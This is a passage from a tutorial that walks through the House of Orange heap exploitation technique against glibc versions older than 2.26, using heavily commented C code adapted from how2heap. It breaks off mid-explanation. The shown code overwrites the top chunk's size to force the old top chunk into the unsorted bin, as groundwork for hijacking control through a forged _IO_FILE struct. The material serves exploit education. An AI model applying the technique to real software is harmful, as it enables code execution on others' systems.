## House of Orange Explanation

First off, this code from this challenge is from https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c. I basically just took it, and added my own comments. I couldn't figure out this attack in a decent time frame without sufficient documentation like that.

With that being said, here is the well documented source code explaining the attack:

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// This code is from: https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c
// I couldn't of figured out this attack without sufficient documentation
// I basically just added comments to it

void pwn(char *inp)
{
    system(inp);
}

void main(void)
{
    // So let's cover House of Orange
    // The purpose of House of Orange is to get code execution
    // We will be doing this by targeting the malloc_printerr function, which is the function that prints out info when it detects memory corruption
    // Like this:
    /*
    *** Error in `./t': double free or corruption (fasttop): 0x[PII_REDACTED]d12010 ***
    ======= Backtrace: =========
    /lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7fa510f817e5]
    /lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7fa510f8a37a]
    /lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7fa510f8e53c]
    ./t[0x400594]
    /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7fa510f2a830]
    ./t[0x400499]
    ======= Memory map: ========
    [PII_REDACTED] r-xp 00000000 08:01 793068                             /Hackery/pod/modules/house_of_orange/house_orange_exp/t
    [PII_REDACTED] r--p 00000000 08:01 793068                             /Hackery/pod/modules/house_of_orange/house_orange_exp/t
    [PII_REDACTED] rw-p 00001000 08:01 793068                             /Hackery/pod/modules/house_of_orange/house_orange_exp/t
    01d12000-01d33000 rw-p 00000000 00:00 0                                  [heap]
    7fa50c000000-7fa50c021000 rw-p 00000000 00:00 0
    7fa50c021000-7fa510000000 ---p 00000000 00:00 0
    7fa510cf4000-7fa510d0a000 r-xp 00000000 08:01 397746                     /lib/x86_64-linux-gnu/libgcc_s.so.1
    7fa510d0a000-7fa510f09000 ---p 00016000 08:01 397746                     /lib/x86_64-linux-gnu/libgcc_s.so.1
    7fa510f09000-7fa510f0a000 rw-p 00015000 08:01 397746                     /lib/x86_64-linux-gnu/libgcc_s.so.1
    7fa510f0a000-7fa5110ca000 r-xp 00000000 08:01 397708                     /lib/x86_64-linux-gnu/libc-2.23.so
    7fa5110ca000-7fa5112ca000 ---p 001c0000 08:01 397708                     /lib/x86_64-linux-gnu/libc-2.23.so
    7fa5112ca000-7fa5112ce000 r--p 001c0000 08:01 397708                     /lib/x86_64-linux-gnu/libc-2.23.so
    7fa5112ce000-7fa5112d0000 rw-p 001c4000 08:01 397708                     /lib/x86_64-linux-gnu/libc-2.23.so
    7fa5112d0000-7fa5112d4000 rw-p 00000000 00:00 0
    7fa5112d4000-7fa5112fa000 r-xp 00000000 08:01 397680                     /lib/x86_64-linux-gnu/ld-2.23.so
    7fa5114db000-7fa5114de000 rw-p 00000000 00:00 0
    7fa5114f8000-7fa5114f9000 rw-p 00000000 00:00 0
    7fa5114f9000-7fa5114fa000 r--p 00025000 08:01 397680                     /lib/x86_64-linux-gnu/ld-2.23.so
    7fa5114fa000-7fa5114fb000 rw-p 00026000 08:01 397680                     /lib/x86_64-linux-gnu/ld-2.23.so
    7fa5114fb000-7fa5114fc000 rw-p 00000000 00:00 0
    7fff06ae4000-7fff06b05000 rw-p 00000000 00:00 0                          [stack]
    7fff06b99000-7fff06b9c000 r--p 00000000 00:00 0                          [vvar]
    7fff06b9c000-7fff06b9e000 r-xp 00000000 00:00 0                          [vdso]
    ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
    Aborted (core dumped)
    */

    // Thing is, in older versions of libc, when the function was called it would iterate through a list of
    // _IO_FILE structs stored in _IO_list_all, and actually execute an instruction pointer in that struct
    // This attack will forge a fake _IO_FILE struct that we will write to _IO_list_all, and cause malloc_printerr to run
    // Then it will execute whatever address we have stored in the _IO_FILE structs jump table, and we will get code execution

    // There are several benefits to how we are going to do this
    // First off, with how we do this, we won't ever need to call free directly in the code
    // We will need a libc and heap infoleak to execute this attack
    // In addition to that, we will need a heap overflow that will allow us to reach the top chunk
    // Also this works on versions of libc earlier than 2.26
    // Let's get started!


    // So starting off we will allocate a chunk off of the top chunk.
    // The top chunk is the heap chunk which contains data which hasn't been allocated yet
    // Malloc will allocate data off from this chunk when it can't find chunks from any of the bin lists
    // This call to malloc will set up the heap for us

    unsigned long *ptr, *topChunk;

    // Actual Size of chunk will be 0x400, because of heap metadata
    ptr = malloc(0x3f0);

    // Now the reason why we allocated a chunk that will be 0x400, is due to the top chunk
    // Now the top chunk is usually allocated with a size of 0x21000
    // After that allocation, the size of the top chunk has (0x21000 - 0x400) | 1 = 0x20c01

    // Now we will use the heap overflow to overwrite the size value of the top chunk
    // We will write to it 0xc01, which is a lesser value
    // That way we can cause the behavior in which it increases the top chunk (will be talked about later)
    // We put it's size as `0xc01` for two reasons
    // The first is that it the previous in use bit needs to be set (the 0x1), because if the previous block wasn't in use there should be a consolidation
    // The second is that the size of the top chunk plus the size of the chunk in this case needs to be paged aligned
    // Being page aligned means that the address starts at the start of a memory page

    // However first let's use the heap pointer we have to calculate the address of the top chunk, by adding an offset to it (we can find this offset in a debugger)

    topChunk = (unsigned long *) ((char *)ptr + 0x3f0);

    // Now let's set the size of the top chunk

    topChunk[1] = 0xc01;

    // Now that we have shrunk the size value, we will allocate a chunk size of 0x1000
    // Since the requested size is bigger than the size of the top chunk, the top chunk will be expanded
    // This is done in one of two ways, either by allocating another page with mmap, or extending the top chunk via allocating more memory with brk
    // If the size requested is less than 0x21000, then the brk method is used

    // When this is done sysmalloc will be invoked
    // The new memory will be allocated at the end of the current top chunk, and the old top chunk will be freed
    // This will cause it to enter into the unsorted bin (even though we never directly called free)
    // Assuming